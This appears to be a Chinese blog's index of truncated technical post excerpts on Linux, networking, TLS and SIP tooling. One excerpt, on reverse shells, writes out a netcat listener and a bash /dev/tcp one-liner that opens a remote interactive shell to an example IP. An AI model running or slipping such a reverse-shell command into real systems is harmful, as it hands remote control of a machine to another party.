原创 gdb coredump 分析堆棧
1)對linux 環境做配置,當有異常生成coredump時候,指定coredump的命名格式和路徑 ulimit -S -c unlimited >/dev/null 2>&1 echo '/tmp/core_%e.
原创 ARP 與 二層交換機
二層交換機: 交換機始終依靠着收到的包的MAC地址進行轉發。那他就必須要有一個MAC地址與自己端口的映射關係。 這個映射關係是通過學習知道的。 比如 一臺二層交換機有很多口,其中有4個口分別連着A B C D. 以最常見的是ARP請求
原创 Nginx tcp 反向代理安裝配置
1) yum -y install gcc zlib zlib-devel pcre-devel openssl openssl-devel 2)cd /usr/local/nginx 3) wget http://nginx.org
原创 反向 shell
nc -p 4444 -lvv 監聽在4444端口, 監聽模式, 顯示命令執行過程, 假設本機IP地址10.100.125.15 bash -i >& /dev/tcp/10.100.125.15/4444 0>&1, 假設本機IP地
原创 linux 弱網環境模擬
linux 環境, 1)tc qdisc add dev eth0 root netem delay 100ms 10ms 將 eth0 網卡的傳輸設置爲延遲 100ms ± 10ms (90 ~ 110 ms 之間
原创 TLS 握手 與證書認證
1) TLS 握手 握手的目的就是協商出一個對稱加密使用的key,用來加密後面的業務數據。 1) client 產生一個random 值 2) server 產生一個random 值, serve
原创 軟 中斷 Irqbalance
ethtool --show-ntuple em2 rx-flow-hash udp4 UDP over IPV4 flows use these fields for computing Hash flow key:
原创 SRTP RFC4568
在傳統電話業務中 SIP 信令 以及語音數據,在傳輸層大都使用UDP,隨着電話業務的運營由運營商(移動,電信,聯通)擴展到公司,到如今的雲電話服務。 被服務的公司或個人越來越注重數據的安全,可選擇的運營公司比較多,導致各個運營商開始實施安
原创 sipp uas 腳本
<?xml version="1.0" encoding="ISO-8859-1" ?> <!DOCTYPE scenario SYSTEM "sipp.dtd"> <!-- This program is free software;
原创 SIP 鑑權 & HTTP 認證
sip 鑑權是基於摘要簽名認證的,具體來說: 每一個用戶都有一個用戶名和密碼,用戶名和密碼在客戶端和SIP 服務器的數據庫中都有保存。 在認證的過程中, 客戶端將自己的信息(用戶名 密碼 url 等信息) 做一些複雜的MD5 或者SHA2
原创 linux ping 與traceroute
ping -s 1600 -M do 10.100.125.15 ip 包大小爲1600, 在IP層不要分片, 這樣的話,中間某一個節點MTU < 1600 的話,就會ping不通. -M do 不允許分片 -M want: 包大
原创 linux fork clone
fork調用的一個奇妙之處就是它僅僅被調用一次,卻能夠返回兩次,它可能有三種不同的返回值: 1)在父進程中,fork返回新創建子進程的進程ID; 2)在子進程中,fork返回0; 3)如果出現錯誤,fork返回一個
原创 linux glibc malloc_trim(0)
在項目中發現進程的內存持續上升。 首先確定這是不是一個內存泄露, 1) gcc 的鏈接選項 -Wl,--wrap,malloc -Wl,--wrap,free -Wl,--wrap,calloc -Wl,--wrap,realloc -W
原创 linux SIGCHLD SIG_IGN
一個進程使用fork創建子進程,如果子進程退出,而父進程並沒有調用 wait 或 waitpid 獲取子進程的狀態信息,那麼子進程的進程描述符仍然保存在系統中。這種進程稱之爲殭屍進程。 子進程在退出時候會給父進程發送SIGCHLD 信號,
原创 sipp basiccall xml script
1 <?xml version="1.0" encoding="ISO-8859-1" ?> 2 <!DOCTYPE scenario SYSTEM "sipp.dtd"> 3 4 <!-- This program is